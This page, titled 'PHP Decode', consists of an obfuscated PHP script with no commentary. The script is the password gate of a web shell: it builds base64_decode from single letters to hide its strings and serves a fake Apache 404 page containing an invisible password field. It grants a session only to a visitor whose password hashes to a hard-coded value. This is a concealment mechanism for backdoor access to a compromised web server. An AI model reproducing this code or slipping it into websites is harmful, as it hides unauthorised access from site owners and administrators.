PHP Decode

<?php 
session_start(); 
function s2013($suku) 
{ 
    $Summary = ""; 
    $_a = "b"; 
    $_b = "a"; 
    $abc_ = ""; 
    $_c = "s"; 
    $_d = "e"; 
    $_e = "6"; 
    $abc_ = ""; 
    $_f = "4"; 
    $_g = "_"; 
    $_h = "d"; 
    $abc_ = ""; 
    $_i = "e"; 
    $_j = "c"; 
    $_k = "o"; 
    $abc_ = ""; 
    $_l = "d"; 
    $_m = "e"; 
    $b64 = $_a . $_b . $abc_ . $_c . $_d . $_e . $_f . $abc_ . $_g . $_h . $_i . $_j . $abc_ . $_k . $_l . $_m; 
    return $b64($suku); 
} 
function c1079e221($q2fa47f7c = 10) 
{ 
    $w2593c7ce = s2013('REpzZmxPY2tieXdoZW5NVFZheHF1aXpwcm9n'); 
    $o64619be1 = 27; 
    $p9af24b16 = ''; 
    for ($q865c0c0b = 0; $q865c0c0b < $q2fa47f7c; $q865c0c0b++) { 
        $p9af24b16 .= $w2593c7ce[rand(0, $o64619be1 - 1)]; 
    } 
    return $p9af24b16; 
} 
function s794df379() 
{ 
    echo s2013( 
        'PCFET0NUWVBFIGh0bWw+PGh0bWw+PGhlYWQ+PG1ldGEgbmFtZT0ncm9ib3RzJyBjb250ZW50J25vaW5kZXgsIG5vZm9sbG93Jz48dGl0bGU+PC90aXRsZT48L2hlYWQ+PGJvZHk+PGgxPk5vdCBGb3VuZDwvaDE+PHRpdGxlPjQwNCBOb3QgRm91bmQ8L3RpdGxlPjxzdHlsZSB0eXBlPSd0ZXh0L2Nzcyc+aW5wdXRbdHlwZT1wYXNzd29yZF0geyB3aWR0aDogMjUwcHg7IGhlaWdodDogMjVweDsgY29sb3I6IHdoaXRlOyBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDsgYm9yZGVyOiAxcHggc29saWQgd2hpdGU7IG1hcmdpbi1sZWZ0OiAyMHB4OyB0ZXh0LWFsaWduOiBjZW50ZXI7IH08L3N0eWxlPjxwPlRoZSByZXF1ZXN0ZWQgVVJMIHdhcyBub3QgZm91bmQgb24gdGhpcyBzZXJ2ZXIuPC9wPjxwPkFkZGl0aW9uYWxseSwgYSA0MDQgTm90IEZvdW5kIGVycm9yIHdhcyBlbmNvdW50ZXJlZCB3aGlsZSB0cnlpbmcgdG8gdXNlIGFuIEVycm9yRG9jdW1lbnRzIHRvIGhhbmRsZSB0aGUgcmVxdWVzdC48L3A+PGhyPjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQg' 
    ) . 
        $_SERVER[s2013('SFRUUF9IT1NU')] . 
        s2013('IFBvcnQg') . 
        $_SERVER[s2013('U0VSVkVSX1BPUlQ=')] . 
        s2013('PC9hZGRyZXNzPjxjZW50ZXI+PGZvcm0gbWV0aG9kPSdwb3N0Jz48aW5wdXQgdHlwZT0ncGFzc3dvcmQnIG5hbWU9Jw==') . 
        $_SESSION[s2013('cHJvdG9u')] . 
        s2013('JyBhdXRvY29tcGxldGU9J29mZic+PGJyPjwvZm9ybT48L2NlbnRlcj48L2JvZHk+PC9odG1sPg=='); 
    exit(); 
} 
$a44a4676e = s2013('ZTU2NmMzMWQxNWE1MjYzNjA1YzZjNDBjNWI2OTMwNzU1MmI2NDNhMQ=='); 
if (empty($_SESSION[s2013('cHJvdG9u')])) { 
    $z8cc5e391 = c1079e221(); 
    $_SESSION[s2013('cHJvdG9u')] = $z8cc5e391; 
} 
$z91df09b5 = $_SESSION[s2013('cHJvdG9u')]; 
if (empty($_SESSION[sha1(md5($_SERVER[s2013('SFRUUF9IT1NU')])) . $z91df09b5])) { 
    if (isset($_POST[$z91df09b5]) and sha1(md5($_POST[$z91df09b5])) == $a44a4676e) { 
        $_SESSION[sha1(md5($_SERVER[s2013('SFRUUF9IT1NU')])) . $z91df09b5] = true; 
    } else { 
        s794df379(); 
        exit(); 
    } 
} 
 ?>